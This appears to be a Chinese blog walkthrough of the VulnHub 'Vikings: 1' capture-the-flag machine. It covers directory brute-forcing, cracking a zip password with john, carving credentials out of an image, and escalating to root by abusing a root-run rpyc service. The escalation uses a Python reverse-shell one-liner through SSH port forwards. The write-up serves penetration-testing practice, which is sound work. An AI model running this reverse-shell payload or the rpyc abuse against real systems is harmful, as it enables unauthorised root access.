VIKINGS: 1 vulnhub walkthrough

本文详细记录了对Vulnhub上的vikings-1虚拟机的渗透测试过程,包括目录爆破、文件解密、端口扫描、SSH提权等步骤。通过解密zip文档获取用户名密码,利用rpyc服务进行本地和远程端口转发,最终获得root权限。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

虚拟机地址 : https://www.vulnhub.com/entry/vikings-1,741/

infomation

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

访问web。
web
对目录site进行目录和文件爆破,发现了war.txt

➜  vikings gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.94.129/site -x txt,php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.94.129/site
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php
[+] Timeout:                 10s
===============================================================
2021/09/16 03:06:43 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 322] [--> http://192.168.94.129/site/images/]
/css                  (Status: 301) [Size: 319] [--> http://192.168.94.129/site/css/]   
/js                   (Status: 301) [Size: 318] [--> http://192.168.94.129/site/js/]                                              
/war.txt              (Status: 200) [Size: 13]          

该文件指向另一个目录/war-is-over,进入下载index.html,这是一段base64加密,查看二进制,发现是zip文档。
zip
这是一个加密zip文档,使用john解密(解密过程可以自行百度使用john解密zip),使用rockyou.txt作为字典得到密码ragnarok123。解压得到文件king,使用binwalk查看,发现文件中还有一个zip文档。

➜  vikings binwalk king

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, EXIF standard
12            0xC             TIFF image data, big-endian, offset of first image directory: 8
1429567       0x15D03F        Zip archive data, at least v2.0 to extract, compressed size: 53, uncompressed size: 92, name: user
1429740       0x15D0EC        End of Zip archive, footer length: 22

使用dd得到含有user的zip文档,从而得到第一个用户名密码floki/f@m0usboatbuilde7

➜  vikings cat user 
//FamousBoatbuilder_floki@vikings                                     
//f@m0usboatbuilde7

提权

ssh登录用户floki,查看端口情况,发现了端口18812开放,同时进程中有rpyc是以root用户运行的,于是我们利用该进程进行提权,需要注意的是服务器不允许外连端口,所以是不能直接反弹端口获取shell的,这里采用ssh进行本地端口转发(转发18812端口到攻击机)和远程端口转发(将攻击机监听端口转发到目标机)。

floki@vikings:~$ ss -tnlp
State       Recv-Q        Send-Q                Local Address:Port                Peer Address:Port       
LISTEN      0             128                       127.0.0.1:45935                    0.0.0.0:*          
LISTEN      0             128                         0.0.0.0:80                       0.0.0.0:*          
LISTEN      0             128                   127.0.0.53%lo:53                       0.0.0.0:*          
LISTEN      0             128                         0.0.0.0:22                       0.0.0.0:*          
LISTEN      0             128                       127.0.0.1:18812                    0.0.0.0:*          
LISTEN      0             128                       127.0.0.1:8000                     0.0.0.0:* 
floki@vikings:~$ ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      1087  0.0  2.2 209144 22376 ?        Sl   14:14   0:04 python3 /usr/local/bin/rpyc_classic.py

攻击机将目标主机18812端口转发到本地

ssh -CfNg -L 18812:127.0.0.1:18812 floki@192.168.94.129

攻击机将本地8000端口转发到目标主机的8000端口。

ssh -CfNg -R 8000:192.168.94.128:8000 floki@192.168.94.129

然后在攻击机执行下面python代码(需本地安装rpyc库)。

#!/usr/bin/python3
#主要是利用server执行execute方法反弹shell到本地的8000端口
import rpyc

conn = rpyc.classic.connect("localhost")
f = conn.execute('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
conn.close()

成功获取root权限。

➜  ~ rlwrap nc -lvp 8000
listening on [any] 8000 ...
192.168.94.128: inverse host lookup failed: Host name lookup failure
connect to [192.168.94.128] from (UNKNOWN) [192.168.94.128] 53968
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt
# cat root.txt
f0b98d4387ff6da77317e582da98bf31
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值